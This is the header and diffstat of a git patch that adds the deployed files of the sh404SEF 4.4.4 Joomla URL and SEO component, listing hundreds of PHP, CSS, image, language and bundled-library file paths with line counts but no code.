From b2bc981aabbe02615f30f5043c830e283fd9d02b Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?L=C3=81Z=C3=81R=20Imre=20AI=20Agent?= Date: Thu, 16 Jul 2026 11:24:39 +0200 Subject: [PATCH] feat(deployed): add sh404SEF 4.4.4.1791 (no-source, vetted live) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit sh404SEF SEF/URL component (Weeblr), vetted clean from live; upstream gated and discontinued for Joomla 3 -> deployed files. Signed-off-by: LÁZÁR Imre Assisted-by: claude-code@claude-opus-4-8 --- .../components/com_sh404sef/access.xml | 7 + .../com_sh404sef/adapters/acesefinstaller.php | 77 + .../com_sh404sef/adapters/analyticsga.php | 371 ++ .../adapters/analyticsgareportdashboard.php | 1013 +++++ .../com_sh404sef/adapters/exportaliases.php | 311 ++ .../com_sh404sef/adapters/exportmetas.php | 364 ++ .../com_sh404sef/adapters/exportpageids.php | 308 ++ .../com_sh404sef/adapters/exporturls.php | 317 ++ .../com_sh404sef/adapters/exportview404.php | 315 ++ .../com_sh404sef/adapters/importaliases.php | 96 + .../com_sh404sef/adapters/importpageids.php | 78 + .../adapters/importsh404sefmetas.php | 123 + .../adapters/importsh404sefurls.php | 148 + .../com_sh404sef/adapters/importurls.php | 149 + .../com_sh404sef/adapters/index.html | 1 + .../adapters/joomsefinstaller.php | 80 + .../com_sh404sef/admin.sh404sef.php | 23 + .../com_sh404sef/assets/css/config.css | 83 + .../assets/css/configuration.community.css | 8 + .../com_sh404sef/assets/css/configuration.css | 198 + .../com_sh404sef/assets/css/confirm.css | 72 + .../com_sh404sef/assets/css/index.html | 1 + .../com_sh404sef/assets/css/j2_cp.css | 329 ++ .../com_sh404sef/assets/css/j2_editurl.css | 70 + .../com_sh404sef/assets/css/j2_urls.css | 11 + .../com_sh404sef/assets/css/j3_cp.css | 119 + .../com_sh404sef/assets/css/j3_editurl.css | 40 + .../com_sh404sef/assets/css/j3_list.css | 571 +++ .../com_sh404sef/assets/css/list.css | 146 + .../com_sh404sef/assets/css/wizard.css | 83 + .../assets/images/external-black.png | Bin 0 -> 3621 bytes .../assets/images/icon-16-default.png | Bin 0 -> 574 bytes .../assets/images/icon-16-locked.png | Bin 0 -> 683 bytes .../assets/images/icon-16-metas.png | Bin 0 -> 582 bytes .../assets/images/icon-16-non-default.png | Bin 0 -> 336 bytes .../assets/images/icon-16-preview.png | Bin 0 -> 567 bytes .../assets/images/icon-16-user.png | Bin 0 -> 650 bytes .../assets/images/icon-32-apply.png | Bin 0 -> 1240 bytes .../assets/images/icon-32-cancel-wizard.png | Bin 0 -> 1445 bytes .../assets/images/icon-32-cancel.png | Bin 0 -> 1445 bytes .../assets/images/icon-32-cpanel.png | Bin 0 -> 2308 bytes .../assets/images/icon-32-default.png | Bin 0 -> 1088 bytes .../assets/images/icon-32-delete.png | Bin 0 -> 2913 bytes .../assets/images/icon-32-export.png | Bin 0 -> 1766 bytes .../assets/images/icon-32-frontpage.png | Bin 0 -> 1927 bytes .../assets/images/icon-32-import.png | Bin 0 -> 1758 bytes .../assets/images/icon-32-next.png | Bin 0 -> 1672 bytes .../assets/images/icon-32-previous.png | Bin 0 -> 1620 bytes .../assets/images/icon-32-purge.png | Bin 0 -> 1734 bytes .../assets/images/icon-32-purgeselected.png | Bin 0 -> 1887 bytes .../assets/images/icon-32-save.png | Bin 0 -> 977 bytes .../assets/images/icon-32-terminate.png | Bin 0 -> 1352 bytes .../assets/images/icon-48-404log.png | Bin 0 -> 4383 bytes .../assets/images/icon-48-aliases.png | Bin 0 -> 4288 bytes .../assets/images/icon-48-analytics.png | Bin 0 -> 3913 bytes .../assets/images/icon-48-cpanel.png | Bin 0 -> 4038 bytes .../assets/images/icon-48-doc.png | Bin 0 -> 4078 bytes .../assets/images/icon-48-errorpage.png | Bin 0 -> 3001 bytes .../assets/images/icon-48-ext.png | Bin 0 -> 4576 bytes .../assets/images/icon-48-facebook.png | Bin 0 -> 1194 bytes .../assets/images/icon-48-metas.png | Bin 0 -> 2790 bytes .../assets/images/icon-48-pageid.png | Bin 0 -> 2429 bytes .../assets/images/icon-48-save.png | Bin 0 -> 2632 bytes .../assets/images/icon-48-sec.png | Bin 0 -> 3044 bytes .../assets/images/icon-48-sefmanager.png | Bin 0 -> 3363 bytes .../assets/images/icon-48-seo.png | Bin 0 -> 4160 bytes .../assets/images/icon-48-sh404sef-logo.png | Bin 0 -> 1410 bytes .../assets/images/icon-48-warning.png | Bin 0 -> 2094 bytes .../com_sh404sef/assets/images/index.html | 1 + .../assets/images/menu-icon-sh404sef.png | Bin 0 -> 692 bytes .../assets/images/sh-ajax-loader-wide.gif | Bin 0 -> 11717 bytes .../assets/images/sh-ajax-loader.gif | Bin 0 -> 404 bytes .../components/com_sh404sef/assets/index.html | 1 + .../components/com_sh404sef/assets/js/edit.js | 70 + .../com_sh404sef/assets/js/index.html | 1 + .../com_sh404sef/assets/js/j2_cp.full.js | 376 ++ .../com_sh404sef/assets/js/j2_edit.js | 73 + .../components/com_sh404sef/assets/js/j3.js | 50 + .../com_sh404sef/assets/js/j3_cp.full.js | 290 ++ .../components/com_sh404sef/assets/js/list.js | 74 + .../com_sh404sef/assets/js/metas.js | 74 + .../com_sh404sef/assets/js/notfound.js | 105 + .../com_sh404sef/assets/js/shajax.js | 68 + .../components/com_sh404sef/assets/js/urls.js | 46 + .../components/com_sh404sef/changelog.log | 925 +++++ .../com_sh404sef/classes/baseanalytics.php | 306 ++ .../com_sh404sef/classes/basecache.php | 102 + .../com_sh404sef/classes/basecontroller.php | 157 + .../classes/baseeditcontroller.php | 213 + .../com_sh404sef/classes/baseeditmodel.php | 20 + .../com_sh404sef/classes/baseextplugin.php | 138 + .../classes/baseinstalladapter.php | 450 +++ .../com_sh404sef/classes/baselistmodel.php | 444 +++ .../com_sh404sef/classes/basemodel.php | 315 ++ .../classes/basewizcontroller.php | 296 ++ .../com_sh404sef/classes/config.full.php | 16 + .../com_sh404sef/classes/config.php | 1830 +++++++++ .../com_sh404sef/classes/filecache.php | 443 +++ .../com_sh404sef/classes/importgeneric.php | 411 ++ .../com_sh404sef/classes/index.html | 1 + .../com_sh404sef/classes/pageinfo.php | 276 ++ .../com_sh404sef/classes/router.php | 1693 ++++++++ .../com_sh404sef/classes/shajaxbutton.php | 127 + .../classes/sharedmemorycache.php | 184 + .../com_sh404sef/classes/shpopupbutton.php | 110 + .../classes/shpopupstandardbutton.php | 91 + .../classes/shpopuptoolbarbutton.php | 128 + .../com_sh404sef/classes/shrouter.php | 39 + .../components/com_sh404sef/config.xml | 9 + .../com_sh404sef/config/config.sef.php | 3 + .../components/com_sh404sef/config/index.html | 1 + .../com_sh404sef/configuration/config.xml | 1008 +++++ .../configuration/configuration.php | 97 + .../com_sh404sef/configuration/edition.php | 21 + .../com_sh404sef/configuration/index.html | 1 + .../com_sh404sef/controllers/aliases.php | 220 ++ .../com_sh404sef/controllers/analytics.php | 30 + .../controllers/configuration.php | 111 + .../com_sh404sef/controllers/default.php | 99 + .../com_sh404sef/controllers/duplicates.php | 139 + .../com_sh404sef/controllers/editalias.php | 246 ++ .../com_sh404sef/controllers/editnotfound.php | 64 + .../com_sh404sef/controllers/editurl.php | 234 ++ .../com_sh404sef/controllers/index.html | 1 + .../com_sh404sef/controllers/metas.php | 234 ++ .../com_sh404sef/controllers/notfound.php | 90 + .../com_sh404sef/controllers/pageids.php | 275 ++ .../com_sh404sef/controllers/urls.php | 211 + .../com_sh404sef/controllers/wizard.php | 24 + .../components/com_sh404sef/custom.sef.php | 93 + .../components/com_sh404sef/defines.php | 58 + .../com_sh404sef/exceptions/default.php | 24 + .../com_sh404sef/exceptions/index.html | 1 + .../com_sh404sef/helpers/analytics.php | 693 ++++ .../com_sh404sef/helpers/autoloader.php | 163 + .../components/com_sh404sef/helpers/cache.php | 109 + .../com_sh404sef/helpers/categories.php | 80 + .../com_sh404sef/helpers/extplugins.php | 123 + .../components/com_sh404sef/helpers/files.php | 294 ++ .../com_sh404sef/helpers/general.php | 571 +++ .../com_sh404sef/helpers/html.full.php | 68 + .../components/com_sh404sef/helpers/html.php | 748 ++++ .../com_sh404sef/helpers/index.html | 1 + .../com_sh404sef/helpers/language.php | 288 ++ .../components/com_sh404sef/helpers/ogp.php | 65 + .../components/com_sh404sef/helpers/ogp.xml | 95 + .../com_sh404sef/helpers/security.php | 130 + .../components/com_sh404sef/helpers/shurl.php | 147 + .../com_sh404sef/helpers/updates.php | 421 ++ .../components/com_sh404sef/helpers/url.php | 344 ++ .../components/com_sh404sef/helpers/view.php | 74 + .../components/com_sh404sef/images/config.png | Bin 0 -> 5701 bytes .../com_sh404sef/images/cut-logs.png | Bin 0 -> 5584 bytes .../com_sh404sef/images/cut-redirect.png | Bin 0 -> 5656 bytes .../com_sh404sef/images/cut-url.png | Bin 0 -> 5656 bytes .../components/com_sh404sef/images/down.png | Bin 0 -> 177 bytes .../components/com_sh404sef/images/help.png | Bin 0 -> 5691 bytes .../components/com_sh404sef/images/index.html | 1 + .../components/com_sh404sef/images/info.png | Bin 0 -> 5728 bytes .../components/com_sh404sef/images/logs.png | Bin 0 -> 5502 bytes .../com_sh404sef/images/redirect.png | Bin 0 -> 5710 bytes .../com_sh404sef/images/sh404SEF-logo-big.png | Bin 0 -> 7490 bytes .../com_sh404sef/images/sh404SEF-logo.png | Bin 0 -> 8896 bytes .../components/com_sh404sef/images/up.png | Bin 0 -> 193 bytes .../components/com_sh404sef/images/url.png | Bin 0 -> 5661 bytes .../components/com_sh404sef/index.html | 1 + .../com_sh404sef/install.mysql.utf8.sql | 70 + .../com_sh404sef/installation.script.php | 1558 ++++++++ .../com_sh404sef/language/en.postinstall.php | 82 + .../com_sh404sef/language/en.readme.php | 313 ++ .../com_sh404sef/language/fr.postinstall.php | 89 + .../com_sh404sef/language/fr.readme.php | 251 ++ .../com_sh404sef/language/index.html | 1 + .../language/plugins/com_chronocontact.php | 39 + .../language/plugins/com_comprofiler.php | 186 + .../language/plugins/com_content.php | 40 + .../language/plugins/com_docman.php | 247 ++ .../language/plugins/com_hotproperty.php | 137 + .../language/plugins/com_kunena.php | 484 +++ .../language/plugins/com_letterman.php | 60 + .../language/plugins/com_magazine.php | 96 + .../language/plugins/com_mtree.php | 264 ++ .../language/plugins/com_myblog.php | 142 + .../language/plugins/com_newsfeeds.php | 38 + .../language/plugins/com_poll.php | 39 + .../language/plugins/com_rd_rss.php | 31 + .../language/plugins/com_registration.php | 70 + .../language/plugins/com_remository.php | 111 + .../language/plugins/com_rsgallery2.php | 39 + .../language/plugins/com_search.php | 76 + .../language/plugins/com_sobi2.php | 69 + .../language/plugins/com_users.php | 102 + .../language/plugins/com_virtuemart.php | 278 ++ .../language/plugins/com_weblinks.php | 39 + .../com_sh404sef/language/plugins/index.html | 1 + .../layouts/com_sh404sef/analytics/index.html | 1 + .../analytics/j2_controlpanel_full.php | 30 + .../com_sh404sef/analytics/j2_dashboard.php | 97 + .../analytics/j3_controlpanel_full.php | 23 + .../com_sh404sef/analytics/j3_dashboard.php | 33 + .../com_sh404sef/analytics/snippet_ga.php | 50 + .../com_sh404sef/analytics/snippet_gtm.php | 30 + .../com_sh404sef/analytics/snippet_uga.php | 36 + .../configuration/fields/default.php | 32 + .../configuration/fields/index.html | 1 + .../configuration/fields/legend.php | 26 + .../configuration/fields/rules.php | 32 + .../com_sh404sef/configuration/index.html | 1 + .../com_sh404sef/filters/bar_search_limit.php | 26 + .../filters/bar_search_limit_pag.php | 27 + .../filters/bar_search_limit_pag_sticky.php | 28 + .../filters/bar_search_limit_sticky.php | 27 + .../layouts/com_sh404sef/filters/index.html | 1 + .../com_sh404sef/filters/limit_box.php | 22 + .../com_sh404sef/filters/search_all.php | 29 + .../com_sh404sef/filters/search_shurl.php | 30 + .../com_sh404sef/form/fields/custom.php | 29 + .../com_sh404sef/form/fields/index.html | 1 + .../layouts/com_sh404sef/form/index.html | 1 + .../layouts/com_sh404sef/general/index.html | 1 + .../com_sh404sef/general/message_block.php | 36 + .../com_sh404sef/general/need_full_j2.php | 22 + .../com_sh404sef/general/need_full_j3.php | 22 + .../com_sh404sef/general/refresh_parent.php | 49 + .../layouts/com_sh404sef/general/warning.php | 18 + .../layouts/com_sh404sef/index.html | 1 + .../layouts/com_sh404sef/social/css.php | 62 + .../com_sh404sef/social/fb-like-html5.php | 36 + .../layouts/com_sh404sef/social/fb-like.php | 36 + .../com_sh404sef/social/fb-send-html5.php | 32 + .../layouts/com_sh404sef/social/fb-send.php | 32 + .../layouts/com_sh404sef/social/fb_sdk.php | 37 + .../com_sh404sef/social/googleplusone.php | 26 + .../com_sh404sef/social/googlepluspage.php | 31 + .../social/googlepluspage_large.php | 37 + .../social/googlepluspage_medium.php | 38 + .../social/googlepluspage_small.php | 38 + .../layouts/com_sh404sef/social/index.html | 1 + .../layouts/com_sh404sef/social/linkedin.php | 32 + .../layouts/com_sh404sef/social/pinterest.php | 31 + .../layouts/com_sh404sef/social/twitter.php | 27 + .../layouts/com_sh404sef/social/wrapper.php | 42 + .../layouts/com_sh404sef/submenus/filters.php | 34 + .../layouts/com_sh404sef/submenus/index.html | 1 + .../layouts/com_sh404sef/submenus/menu.php | 33 + .../com_sh404sef/submenus/menu_layout.php | 28 + .../layouts/com_sh404sef/submenus/submenu.php | 24 + .../layouts/com_sh404sef/updates/index.html | 1 + .../com_sh404sef/updates/update_full_j2.php | 19 + .../com_sh404sef/updates/update_full_j3.php | 20 + .../com_sh404sef/layouts/index.html | 1 + .../lib/extplugins/acesef/database.php | 186 + .../lib/extplugins/acesef/extension.php | 132 + .../lib/extplugins/acesef/factory.php | 239 ++ .../lib/extplugins/acesef/index.html | 1 + .../acesef/tables/acesefextensions.php | 23 + .../lib/extplugins/acesef/tables/index.html | 1 + .../lib/extplugins/acesef/uri.php | 1674 ++++++++ .../lib/extplugins/acesef/utility.php | 360 ++ .../com_sh404sef/lib/extplugins/index.html | 1 + .../lib/extplugins/joomsef/config.php | 962 +++++ .../lib/extplugins/joomsef/index.html | 1 + .../lib/extplugins/joomsef/joomsef.php | 2839 +++++++++++++ .../lib/extplugins/joomsef/sef.ext.php | 347 ++ .../lib/extplugins/joomsef/seftools.php | 1185 ++++++ .../extplugins/joomsef/tables/extension.php | 37 + .../lib/extplugins/joomsef/tables/index.html | 1 + .../components/com_sh404sef/lib/index.html | 1 + .../com_sh404sef/lib/pChart/Cache/index.html | 1 + .../com_sh404sef/lib/pChart/Fonts/arial.ttf | Bin 0 -> 367112 bytes .../com_sh404sef/lib/pChart/Fonts/index.html | 1 + .../com_sh404sef/lib/pChart/index.html | 1 + .../com_sh404sef/lib/pChart/pChart/index.html | 1 + .../lib/pChart/pChart/pCache.class.php | 121 + .../lib/pChart/pChart/pChart.class.php | 3507 +++++++++++++++++ .../lib/pChart/pChart/pData.class.php | 262 ++ .../lib/pChart/palettes/index.html | 1 + .../pChart/palettes/tones-1-hard-tones.php | 56 + .../pChart/palettes/tones-2-green-soft.php | 56 + .../lib/pChart/palettes/tones-3-blue-soft.php | 56 + .../pChart/palettes/tones-4-orange-soft.php | 56 + .../lib/pChart/palettes/tones-5-goldfish.php | 56 + .../lib/pChart/palettes/tones-6-desert.php | 56 + .../lib/pChart/palettes/tones-7-tropical.php | 56 + .../com_sh404sef/liveupdate/LICENSE.txt | 177 + .../liveupdate/assets/current-32.png | Bin 0 -> 3162 bytes .../liveupdate/assets/fail-24.png | Bin 0 -> 3311 bytes .../liveupdate/assets/liveupdate-48.png | Bin 0 -> 8792 bytes .../liveupdate/assets/liveupdate.css | 136 + .../liveupdate/assets/nosupport-32.png | Bin 0 -> 4746 bytes .../com_sh404sef/liveupdate/assets/ok-24.png | Bin 0 -> 2188 bytes .../liveupdate/assets/update-32.png | Bin 0 -> 2830 bytes .../liveupdate/assets/warn-24.png | Bin 0 -> 2036 bytes .../liveupdate/classes/abstractconfig.php | 229 ++ .../liveupdate/classes/controller.php | 271 ++ .../liveupdate/classes/download.php | 471 +++ .../liveupdate/classes/inihelper.php | 142 + .../com_sh404sef/liveupdate/classes/model.php | 175 + .../liveupdate/classes/storage/component.php | 103 + .../liveupdate/classes/storage/file.php | 80 + .../liveupdate/classes/storage/storage.php | 125 + .../liveupdate/classes/tmpl/install.php | 34 + .../liveupdate/classes/tmpl/nagscreen.php | 28 + .../liveupdate/classes/tmpl/overview.php | 142 + .../liveupdate/classes/tmpl/startupdate.php | 50 + .../liveupdate/classes/updatefetch.php | 352 ++ .../com_sh404sef/liveupdate/classes/view.php | 103 + .../liveupdate/classes/xmlslurp.php | 369 ++ .../com_sh404sef/liveupdate/config.php | 26 + .../com_sh404sef/liveupdate/index.html | 1 + .../language/bg-BG/bg-BG.liveupdate.ini | 56 + .../language/bs-BA/bs-BA.liveupdate.ini | 56 + .../language/cs-CZ/cs-CZ.liveupdate.ini | 56 + .../language/da-DK/da-DK.liveupdate.ini | 56 + .../language/de-DE/de-DE.liveupdate.ini | 56 + .../language/el-GR/el-GR.liveupdate.ini | 56 + .../language/en-GB/en-GB.liveupdate.ini | 56 + .../language/es-ES/es-ES.liveupdate.ini | 56 + .../language/et-EE/et-EE.liveupdate.ini | 56 + .../language/fa-IR/fa-IR.liveupdate.ini | 56 + .../language/fi-FI/fi-FI.liveupdate.ini | 56 + .../language/fr-FR/fr-FR.liveupdate.ini | 56 + .../language/hu-HU/hu-HU.liveupdate.ini | 56 + .../language/it-IT/it-IT.liveupdate.ini | 56 + .../language/lt-LT/lt-LT.liveupdate.ini | 56 + .../language/nb-NO/nb-NO.liveupdate.ini | 56 + .../language/nl-NL/nl-NL.liveupdate.ini | 56 + .../language/pl-PL/pl-PL.liveupdate.ini | 56 + .../language/pt-BR/pt-BR.liveupdate.ini | 56 + .../language/pt-PT/pt-PT.liveupdate.ini | 56 + .../language/ru-RU/ru-RU.liveupdate.ini | 56 + .../language/sk-SK/sk-SK.liveupdate.ini | 56 + .../language/sl-SI/sl-SI.liveupdate.ini | 56 + .../language/sv-SE/sv-SE.liveupdate.ini | 56 + .../language/tr-TR/tr-TR.liveupdate.ini | 56 + .../language/uk-UA/uk-UA.liveupdate.ini | 56 + .../com_sh404sef/liveupdate/liveupdate.php | 133 + .../com_sh404sef/models/aliases.php | 394 ++ .../models/configuration.full.php | 537 +++ .../com_sh404sef/models/configuration.php | 16 + .../com_sh404sef/models/duplicates.php | 317 ++ .../com_sh404sef/models/editalias.php | 136 + .../com_sh404sef/models/editnotfound.php | 123 + .../com_sh404sef/models/editurl.php | 559 +++ .../com_sh404sef/models/fields/index.html | 1 + .../com_sh404sef/models/fields/shlegend.php | 66 + .../models/fields/shlibpluginlink.php | 89 + .../com_sh404sef/models/fields/shlist.php | 53 + .../components/com_sh404sef/models/index.html | 1 + .../components/com_sh404sef/models/metas.php | 316 ++ .../com_sh404sef/models/notfound.php | 393 ++ .../models/notfoundstore.full.php | 97 + .../com_sh404sef/models/notfoundstore.php | 17 + .../com_sh404sef/models/pageids.full.php | 543 +++ .../com_sh404sef/models/pageids.php | 17 + .../com_sh404sef/models/sefurls.php | 103 + .../components/com_sh404sef/models/slugs.php | 329 ++ .../components/com_sh404sef/models/urls.php | 608 +++ .../com_sh404sef/modules/index.html | 1 + .../modules/mod_sh404sef_cpicon/index.html | 1 + .../mod_sh404sef_cpicon.php | 39 + .../mod_sh404sef_cpicon.xml | 34 + .../modules/mod_sh404sef_cpicon/styles.css | 46 + .../mod_sh404sef_cpicon/tmpl/default_j2.php | 34 + .../mod_sh404sef_cpicon/tmpl/default_j3.php | 31 + .../components/com_sh404sef/pagination.php | 20 + .../components/com_sh404sef/pagination_j2.php | 756 ++++ .../components/com_sh404sef/pagination_j3.php | 952 +++++ .../com_sh404sef/plugins/index.html | 1 + .../com_sh404sef/plugins/installer/index.html | 1 + .../plugins/installer/sh404sef/index.html | 1 + .../plugins/installer/sh404sef/sh404sef.php | 114 + .../plugins/installer/sh404sef/sh404sef.xml | 16 + .../plugins/sh404sefcore/index.html | 1 + .../sh404sefcore/sh404sefanalytics/index.html | 1 + .../sh404sefanalytics/sh404sefanalytics.php | 72 + .../sh404sefanalytics/sh404sefanalytics.xml | 17 + .../sh404sefofflinecode/index.html | 1 + .../sh404sef_offline_template.php | 37 + .../sh404sefofflinecode.php | 119 + .../sh404sefofflinecode.xml | 33 + .../sh404sefsimilarurls/index.html | 1 + .../sh404sefsimilarurls.php | 374 ++ .../sh404sefsimilarurls.xml | 47 + .../sh404sefcore/sh404sefsocial/index.html | 1 + .../sh404sefsocial/sh404sefsocial.js | 170 + .../sh404sefsocial/sh404sefsocial.php | 646 +++ .../sh404sefsocial/sh404sefsocial.xml | 215 + .../plugins/sh404sefextplugins/index.html | 1 + .../sh404sefextplugindefault/index.html | 1 + .../sh404sefextplugindefault.php | 113 + .../sh404sefextplugindefault.xml | 16 + .../com_sh404sef/plugins/system/index.html | 1 + .../plugins/system/sh404sef/index.html | 4 + .../plugins/system/sh404sef/sh404sef.php | 439 +++ .../plugins/system/sh404sef/sh404sef.xml | 16 + .../plugins/system/shlib/changelog.log | 65 + .../plugins/system/shlib/index.html | 1 + .../system/shlib/installation.script.php | 168 + .../language/en-GB/en-GB.plg_system_shlib.ini | 16 + .../en-GB/en-GB.plg_system_shlib.sys.ini | 13 + .../system/shlib/language/en-GB/index.html | 1 + .../plugins/system/shlib/language/index.html | 1 + .../plugins/system/shlib/media/index.html | 1 + .../system/shlib/media/shlib/css/bs.css | 647 +++ .../system/shlib/media/shlib/css/index.html | 1 + .../system/shlib/media/shlib/css/modal.css | 161 + .../system/shlib/media/shlib/css/modalfix.css | 19 + .../system/shlib/media/shlib/index.html | 1 + .../plugins/system/shlib/media/shlib/js/bs.js | 353 ++ .../system/shlib/media/shlib/js/index.html | 1 + .../ZendFramework-1.11.7-minimal/index.html | 1 + .../library/Zendshl/Exception.php | 97 + .../library/Zendshl/Http/Client.php | 1464 +++++++ .../Zendshl/Http/Client/Adapter/Curl.php | 511 +++ .../Zendshl/Http/Client/Adapter/Exception.php | 39 + .../Zendshl/Http/Client/Adapter/Interface.php | 79 + .../Zendshl/Http/Client/Adapter/Proxy.php | 285 ++ .../Zendshl/Http/Client/Adapter/Socket.php | 545 +++ .../Zendshl/Http/Client/Adapter/Stream.php | 47 + .../Zendshl/Http/Client/Adapter/Test.php | 239 ++ .../Zendshl/Http/Client/Adapter/index.html | 1 + .../library/Zendshl/Http/Client/Exception.php | 37 + .../library/Zendshl/Http/Client/index.html | 1 + .../library/Zendshl/Http/Cookie.php | 425 ++ .../library/Zendshl/Http/CookieJar.php | 406 ++ .../library/Zendshl/Http/Exception.php | 37 + .../library/Zendshl/Http/Response.php | 668 ++++ .../library/Zendshl/Http/Response/Stream.php | 236 ++ .../library/Zendshl/Http/Response/index.html | 1 + .../library/Zendshl/Http/UserAgent.php | 854 ++++ .../Zendshl/Http/UserAgent/AbstractDevice.php | 977 +++++ .../library/Zendshl/Http/UserAgent/Bot.php | 131 + .../Zendshl/Http/UserAgent/Checker.php | 78 + .../Zendshl/Http/UserAgent/Console.php | 68 + .../Zendshl/Http/UserAgent/Desktop.php | 57 + .../library/Zendshl/Http/UserAgent/Device.php | 201 + .../library/Zendshl/Http/UserAgent/Email.php | 66 + .../Zendshl/Http/UserAgent/Exception.php | 37 + .../Http/UserAgent/Features/Adapter.php | 40 + .../Features/Adapter/DeviceAtlas.php | 79 + .../UserAgent/Features/Adapter/TeraWurfl.php | 103 + .../UserAgent/Features/Adapter/WurflApi.php | 104 + .../UserAgent/Features/Adapter/index.html | 1 + .../Http/UserAgent/Features/Exception.php | 37 + .../Http/UserAgent/Features/index.html | 1 + .../library/Zendshl/Http/UserAgent/Feed.php | 82 + .../library/Zendshl/Http/UserAgent/Mobile.php | 537 +++ .../Zendshl/Http/UserAgent/Offline.php | 71 + .../library/Zendshl/Http/UserAgent/Probe.php | 82 + .../library/Zendshl/Http/UserAgent/Spam.php | 80 + .../Zendshl/Http/UserAgent/Storage.php | 66 + .../Http/UserAgent/Storage/Exception.php | 38 + .../Http/UserAgent/Storage/NonPersistent.php | 98 + .../Http/UserAgent/Storage/Session.php | 167 + .../Zendshl/Http/UserAgent/Storage/index.html | 1 + .../library/Zendshl/Http/UserAgent/Text.php | 133 + .../Zendshl/Http/UserAgent/Validator.php | 74 + .../library/Zendshl/Http/UserAgent/index.html | 1 + .../library/Zendshl/Http/index.html | 1 + .../library/Zendshl/Loader.php | 330 ++ .../library/Zendshl/Loader/Autoloader.php | 590 +++ .../Zendshl/Loader/Autoloader/Interface.php | 44 + .../Zendshl/Loader/Autoloader/Resource.php | 473 +++ .../Zendshl/Loader/Autoloader/index.html | 1 + .../library/Zendshl/Loader/Exception.php | 36 + .../library/Zendshl/Loader/PluginLoader.php | 485 +++ .../Zendshl/Loader/PluginLoader/Exception.php | 40 + .../Zendshl/Loader/PluginLoader/Interface.php | 76 + .../Zendshl/Loader/PluginLoader/index.html | 1 + .../library/Zendshl/Loader/index.html | 1 + .../library/Zendshl/Uri.php | 208 + .../library/Zendshl/Uri/Exception.php | 38 + .../library/Zendshl/Uri/Http.php | 777 ++++ .../library/Zendshl/Uri/index.html | 1 + .../library/Zendshl/index.html | 1 + .../library/index.html | 1 + .../system/shlib/shl_packages/cache/apc.php | 84 + .../shlib/shl_packages/cache/index.html | 1 + .../shlib/shl_packages/cache/manager.php | 279 ++ .../shlib/shl_packages/cache/memcache.php | 120 + .../shlib/shl_packages/cache/memcached.php | 163 + .../shlib/shl_packages/cache/wincache.php | 85 + .../shlib/shl_packages/db/classes/class.php | 1105 ++++++ .../shl_packages/db/classes/dbrecord.php | 59 + .../shlib/shl_packages/db/classes/index.html | 1 + .../shl_packages/db/exceptions/exception.php | 19 + .../shl_packages/db/exceptions/index.html | 1 + .../shlib/shl_packages/db/helpers/helper.php | 1220 ++++++ .../shlib/shl_packages/db/helpers/index.html | 1 + .../system/shlib/shl_packages/db/index.html | 1 + .../shl_packages/exception/exception.php | 24 + .../shlib/shl_packages/exception/index.html | 1 + .../shlib/shl_packages/html/bses/helper.php | 182 + .../shlib/shl_packages/html/bses/index.html | 1 + .../system/shlib/shl_packages/html/index.html | 1 + .../shlib/shl_packages/html/modals/helper.php | 124 + .../shlib/shl_packages/html/modals/index.html | 1 + .../system/shlib/shl_packages/index.html | 1 + .../shl_packages/mvc/controllers/base.php | 27 + .../shl_packages/mvc/controllers/index.html | 1 + .../system/shlib/shl_packages/mvc/index.html | 1 + .../shlib/shl_packages/mvc/layouts/base.php | 61 + .../shlib/shl_packages/mvc/layouts/file.php | 116 + .../shlib/shl_packages/mvc/layouts/helper.php | 28 + .../shlib/shl_packages/mvc/layouts/index.html | 1 + .../shlib/shl_packages/mvc/layouts/layout.php | 36 + .../shlib/shl_packages/mvc/models/admin.php | 68 + .../shlib/shl_packages/mvc/models/base.php | 68 + .../shlib/shl_packages/mvc/models/form.php | 68 + .../shlib/shl_packages/mvc/models/index.html | 1 + .../shlib/shl_packages/mvc/models/item.php | 68 + .../shlib/shl_packages/mvc/models/list.php | 68 + .../shlib/shl_packages/mvc/views/base.php | 27 + .../shlib/shl_packages/mvc/views/index.html | 1 + .../shl_packages/system/abstractdecorator.php | 78 + .../shlib/shl_packages/system/autoloader.php | 209 + .../shlib/shl_packages/system/convert.php | 81 + .../shlib/shl_packages/system/cycle.php | 112 + .../system/shlib/shl_packages/system/date.php | 312 ++ .../shlib/shl_packages/system/email.php | 132 + .../shlib/shl_packages/system/factory.php | 36 + .../system/shlib/shl_packages/system/http.php | 83 + .../shlib/shl_packages/system/index.html | 1 + .../system/shlib/shl_packages/system/log.php | 326 ++ .../shl_packages/system/resourcemanager.php | 427 ++ .../shlib/shl_packages/system/strings.php | 54 + .../system/shlib/shl_packages/system/xml.php | 54 + .../shl_packages/toolbarbutton/index.html | 1 + .../toolbarbutton/j3popupstandardbutton.php | 89 + .../toolbarbutton/j3popuptoolbarbutton.php | 145 + .../toolbarbutton/j3shajaxtoolbarbutton.php | 113 + .../toolbarbutton/shpopupstandardbutton.php | 90 + .../toolbarbutton/shpopuptoolbarbutton.php | 145 + .../plugins/system/shlib/shlib.php | 113 + .../plugins/system/shlib/shlib.xml | 135 + .../plugins/system/shmobile/index.html | 4 + .../plugins/system/shmobile/shmobile.php | 213 + .../plugins/system/shmobile/shmobile.xml | 33 + .../com_sh404sef/security/index.html | 1 + .../security/sh404SEF_IP_black_list.dat | 1 + .../security/sh404SEF_IP_white_list.dat | 1 + .../security/sh404SEF_uAgent_black_list.dat | 1 + .../security/sh404SEF_uAgent_white_list.dat | 1 + .../com_sh404sef/sh404sef.class.php | 2627 ++++++++++++ .../components/com_sh404sef/sh404sef.php | 87 + .../components/com_sh404sef/sh404sef.xml | 226 ++ .../com_sh404sef/sh404seffactory.php | 170 + .../com_sh404sef/shSEFConfig.class.php | 19 + .../com_sh404sef/sh_Net_URL.class.php | 386 ++ .../com_sh404sef/tables/aliases.php | 95 + .../components/com_sh404sef/tables/index.html | 1 + .../components/com_sh404sef/tables/metas.php | 232 ++ .../com_sh404sef/tables/pageids.php | 86 + .../components/com_sh404sef/tables/urls.php | 130 + .../com_sh404sef/views/aliases/index.html | 1 + .../views/aliases/tmpl/default_j2.full.php | 176 + .../views/aliases/tmpl/default_j2.php | 17 + .../views/aliases/tmpl/default_j2_filters.php | 36 + .../views/aliases/tmpl/default_j3.full.php | 184 + .../views/aliases/tmpl/default_j3.php | 16 + .../views/aliases/tmpl/index.html | 1 + .../views/aliases/view.html.full.php | 299 ++ .../com_sh404sef/views/aliases/view.html.php | 17 + .../com_sh404sef/views/aliases/view.raw.php | 33 + .../com_sh404sef/views/analytics/index.html | 1 